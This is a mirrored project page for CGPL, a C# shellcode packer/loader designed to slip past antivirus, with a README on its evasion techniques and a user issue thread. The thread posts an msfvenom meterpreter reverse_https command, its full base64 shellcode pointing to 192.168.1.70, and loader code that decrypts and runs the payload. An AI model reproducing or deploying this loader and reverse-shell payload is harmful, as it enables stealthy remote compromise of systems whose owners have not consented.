Giter Club home page Giter Club logo

cgpl's Introduction

CGPL - Yet, Another Packer/Loader

After going through the OSEP certification material and other nice courses about Offensive C# around the web, I've decided that it was time to share something I wrote. CGPL (naming convention of my tools is annoying, I know) is a packer/loader written in C# with the following feature (planning to make this list bit longer in the future):

  • My very own GetProcAddress (parsing PE headers is such a joy) and GetModuleHandle (decided to go for CreateToolhelp32Snapshot) implementation to dynamically fetch the address of the Win32 API I wanted to use
  • AES encryption with a SHA256 derived key (must admit got inspiration from some APT guys) for payload and Win32 api function names (delegates might still drop suspicious strings around, but you can also change those names)
  • It does not dare to allocate a memory buffer which is READWRITEEXEC at the same time

Usage

Change the shellcode and compile (platform target x64), unless you just want to pop calc.exe up.

winbo:~$msfvenom --platform windows --arch x64  -p windows/x64/exec CMD=calc.exe -f raw -o test.bin
winbo:~$cat test.bin | base64 -w0

The AesOperation.cs class implements also the encrypt function, so an entra Console.WriteLine(...) is needed to see how your payload would look like all encrypted (tutto cablato). Also useful if you want to change the Win32 API I use with some other exotic ones.

Some AI motivation

AntiScan.me

Results

Che Bello (at least the last time I have tried):

AntiScan.me

cgpl's People

Contributors

oldboy21 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

cgpl's Issues

Getting this error after including notepad.exe in base64 on this location "string ciaogrande =" under program.cs

Unhandled Exception: System.Security.Cryptography.CryptographicException: The input data is not a complete block.
at System.Security.Cryptography.CapiSymmetricAlgorithm.TransformFinalBlock(Byte[] inputBuffer, Int32 inputOffset, Int32 inputCount)
at System.Security.Cryptography.CryptoStream.Read(Byte[] buffer, Int32 offset, Int32 count)
at System.IO.StreamReader.ReadBuffer()
at System.IO.StreamReader.ReadToEnd()
at CGPL.AesOperation.DecryptString(Byte[] key, String cipherText) in C:\Users\test\Source\Repos\CGPL\AesOperation.cs:line 61
at CGPL.Program.Main(String[] args) in C:\Users\test\Source\Repos\CGPL\Program.cs:line 549

The input data is not a complete block.

hi,
actually i do
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.70 LPORT=443 -f raw -o test.bin

cat test.bin | base64 -w0
/EiD5PDozAAAAEFRQVBSUUgx0mVIi1JgSItSGEiLUiBWTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheWUgB0FpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6A0AAAAxOTIuMTY4LjEuNzAAWkiJwUnHwLsBAABNMclTU2oDU0m6V4mfxgAAAAD/1ejuAAAAL3ktUmVHN0hBS3FMc09lMDdqOFUxS0F5VE1oMzZYM0xha1h0MnFPNVhlMGZRalZKSTMtTi1LSEp2UkgwcTlyZGJxcHZHSnR1YWZKdzBqYjJxanp4UVRULVMwSGFCTGFlUnpQdnFiSXV0azhEWVZrQ0M2LXlDaUh3U2UzZmpoUVJrOGp4YmM5RnpUaGh4WHZpVDhyZXk4X2Q4R2ZBZUNRZkdJVU8wOHFwOWlHR1pTNjI0U3dTaUhjaGJ2RFFCVV9IYXp2dVNzUzVCYjdZS1pEcGU0MXQ3Tjl4dlR3aWJEQmZOc0laZUlISWlfWVlhAEiJwVNaQVhNMclTSLgAMqiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX0iJ8WofWlJogDMAAEmJ4GoEQVlJunVGnoYAAAAA/9VNMcBTWkiJ8U0xyU0xyVNTScfCLQYYe//VhcB1H0jHwYgTAABJukTwNeAAAAAA/9VI/890Auuq6FUAAABTWWpAWkmJ0cHiEEnHwAAQAABJulikU+UAAAAA/9VIk1NTSInnSInxSInaScfAACAAAEmJ+Um6EpaJ4gAAAAD/1UiDxCCFwHSyZosHSAHDhcB10ljDWGoAWUnHwvC1olb/1Q==

then copy this base64 string at line 548 of Program.cs code:

static void Main(string[] args)
{
string key = "CiaoGrande";
byte[] keyAes = GetSha256(key);

        string ciaogrande = "/EiD5PDozAAAAEFRQVBSUUgx0mVIi1JgSItSGEiLUiBWTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheWUgB0FpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6A0AAAAxOTIuMTY4LjEuNzAAWkiJwUnHwLsBAABNMclTU2oDU0m6V4mfxgAAAAD/1ejuAAAAL3ktUmVHN0hBS3FMc09lMDdqOFUxS0F5VE1oMzZYM0xha1h0MnFPNVhlMGZRalZKSTMtTi1LSEp2UkgwcTlyZGJxcHZHSnR1YWZKdzBqYjJxanp4UVRULVMwSGFCTGFlUnpQdnFiSXV0azhEWVZrQ0M2LXlDaUh3U2UzZmpoUVJrOGp4YmM5RnpUaGh4WHZpVDhyZXk4X2Q4R2ZBZUNRZkdJVU8wOHFwOWlHR1pTNjI0U3dTaUhjaGJ2RFFCVV9IYXp2dVNzUzVCYjdZS1pEcGU0MXQ3Tjl4dlR3aWJEQmZOc0laZUlISWlfWVlhAEiJwVNaQVhNMclTSLgAMqiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX0iJ8WofWlJogDMAAEmJ4GoEQVlJunVGnoYAAAAA/9VNMcBTWkiJ8U0xyU0xyVNTScfCLQYYe//VhcB1H0jHwYgTAABJukTwNeAAAAAA/9VI/890Auuq6FUAAABTWWpAWkmJ0cHiEEnHwAAQAABJulikU+UAAAAA/9VIk1NTSInnSInxSInaScfAACAAAEmJ+Um6EpaJ4gAAAAD/1UiDxCCFwHSyZosHSAHDhcB10ljDWGoAWUnHwvC1olb/1Q==";
        byte[] buf = Convert.FromBase64String(AesOperation.DecryptString(keyAes,ciaogrande));
        int bufSize = buf.Length;
        uint oldprotect = 0;
        IntPtr VirtualAllocPtr = CiaoGrandeRetrieve(AesOperation.DecryptString(keyAes, "pd6O/2VjBB0VTrEjz216gw=="), AesOperation.DecryptString(keyAes, "pYGzDGbPbfEg8fUiOr9A0Q=="));

or iam wrong ?

thanks

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.